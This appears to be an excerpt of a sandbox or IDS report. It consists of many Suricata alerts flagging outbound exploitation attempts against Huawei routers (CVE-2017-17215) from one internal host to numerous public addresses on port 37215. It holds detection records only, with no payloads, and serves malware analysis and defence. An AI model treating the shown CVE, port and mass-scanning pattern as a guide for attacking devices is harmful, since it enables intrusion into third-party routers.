Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42808 -> 197.123.151.190:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46252 -> 197.240.193.198:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42870 -> 156.229.60.94:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54776 -> 41.130.86.114:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54198 -> 197.204.33.127:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54066 -> 197.236.253.41:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49980 -> 156.174.103.73:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54304 -> 41.56.138.239:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36270 -> 41.197.11.205:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37114 -> 197.30.59.26:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59304 -> 41.67.50.187:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50910 -> 197.179.205.141:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36872 -> 41.135.155.163:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34370 -> 197.177.162.81:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51014 -> 41.125.67.250:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36758 -> 41.189.232.28:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47356 -> 156.176.7.254:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43544 -> 197.220.219.212:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52780 -> 41.6.80.20:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33836 -> 41.74.171.135:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40192 -> 41.87.89.221:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36300 -> 197.132.170.39:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44772 -> 156.86.188.100:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48536 -> 41.130.30.224:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45964 -> 197.126.132.192:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57186 -> 156.160.61.36:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49004 -> 197.53.81.109:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45876 -> 156.198.32.25:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42894 -> 197.234.147.243:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51794 -> 41.114.131.97:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55606 -> 41.167.195.187:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37522 -> 41.11.91.190:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54898 -> 41.115.157.223:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58506 -> 197.224.174.122:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53310 -> 197.190.56.127:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56248 -> 156.168.97.189:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50236 -> 156.184.10.160:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48924 -> 41.95.1.72:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46578 -> 156.82.185.38:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43516 -> 41.34.19.233:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42526 -> 197.110.33.52:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46294 -> 156.112.83.10:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50152 -> 197.104.247.95:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39174 -> 197.89.103.45:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45332 -> 197.131.12.35:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48596 -> 156.100.216.217:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60436 -> 197.79.207.43:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55116 -> 156.205.238.204:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60574 -> 156.18.184.170:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54580 -> 41.22.29.207:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44664 -> 197.155.73.226:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53388 -> 197.201.120.93:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47930 -> 197.23.250.142:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54578 -> 156.253.100.178:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50330 -> 41.14.124.157:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50944 -> 41.112.49.147:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35340 -> 197.124.118.66:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36670 -> 197.163.71.112:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55672 -> 41.158.117.220:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36302 -> 197.77.38.156:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58664 -> 41.177.217.119:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54490 -> 41.203.154.176:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39728 -> 156.99.131.88:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37006 -> 41.10.217.61:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51898 -> 197.193.254.199:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36816 -> 156.130.165.166:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60892 -> 156.140.155.227:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41756 -> 197.111.180.37:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58902 -> 156.169.120.167:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42716 -> 41.166.131.116:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36272 -> 41.135.54.131:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54688 -> 197.79.51.55:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39888 -> 197.19.182.26:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54662 -> 156.151.8.61:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34428 -> 156.240.231.230:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54602 -> 156.230.153.9:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42078 -> 41.236.236.237:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47700 -> 41.204.0.196:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40602 -> 156.199.188.62:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45252 -> 41.119.213.230:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46946 -> 197.189.33.115:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34410 -> 197.6.96.0:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53550 -> 197.176.134.58:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54122 -> 156.225.156.96:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56106 -> 156.201.102.249:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43342 -> 197.208.164.200:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58436 -> 197.253.164.163:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55614 -> 41.27.74.157:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58826 -> 41.186.147.30:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58418 -> 41.198.196.83:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37214 -> 156.201.92.177:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50358 -> 156.125.209.23:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44064 -> 41.61.133.151:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48460 -> 156.235.52.108:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51388 -> 41.191.129.144:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33892 -> 156.230.216.125:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42148 -> 197.19.81.48:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51340 -> 156.48.80.206:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40154 -> 156.31.227.73:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42864 -> 41.205.30.77:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42504 -> 41.118.15.27:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44818 -> 41.42.28.134:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60338 -> 41.143.130.151:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47346 -> 197.231.166.138:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39506 -> 156.98.133.177:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51554 -> 156.82.40.87:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42782 -> 197.226.127.252:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58544 -> 41.21.247.171:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49636 -> 41.210.39.42:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60888 -> 41.142.249.137:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40754 -> 156.50.145.109:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37920 -> 41.1.90.143:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47232 -> 197.169.1.93:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35474 -> 156.144.175.111:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56126 -> 41.216.112.25:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54122 -> 41.88.234.119:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48338 -> 197.17.28.21:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38280 -> 41.29.128.127:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36978 -> 156.144.19.119:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34202 -> 41.78.56.14:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57322 -> 156.219.173.248:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51792 -> 197.95.239.198:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41950 -> 197.96.181.109:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58534 -> 197.143.19.115:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47494 -> 197.38.184.2:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39410 -> 41.161.116.202:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41818 -> 197.7.216.247:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41980 -> 156.201.11.50:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54602 -> 41.89.207.159:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39536 -> 197.229.113.227:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34258 -> 156.32.63.232:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42344 -> 156.246.142.245:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36926 -> 197.3.188.150:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46740 -> 41.18.45.176:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57618 -> 197.88.167.250:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43694 -> 41.115.9.17:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48212 -> 156.32.28.102:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41726 -> 156.216.122.165:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39306 -> 197.157.99.105:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33642 -> 197.3.22.47:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44438 -> 156.137.110.173:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38566 -> 197.144.156.159:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47458 -> 41.205.172.188:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33104 -> 156.159.215.43:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39052 -> 197.245.208.243:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57490 -> 41.33.177.207:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58724 -> 156.149.232.149:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52092 -> 197.124.168.211:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60110 -> 41.213.80.231:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57354 -> 156.79.184.202:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38194 -> 41.109.147.125:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58438 -> 197.142.200.152:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56124 -> 156.155.53.3:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33532 -> 156.236.248.85:37215
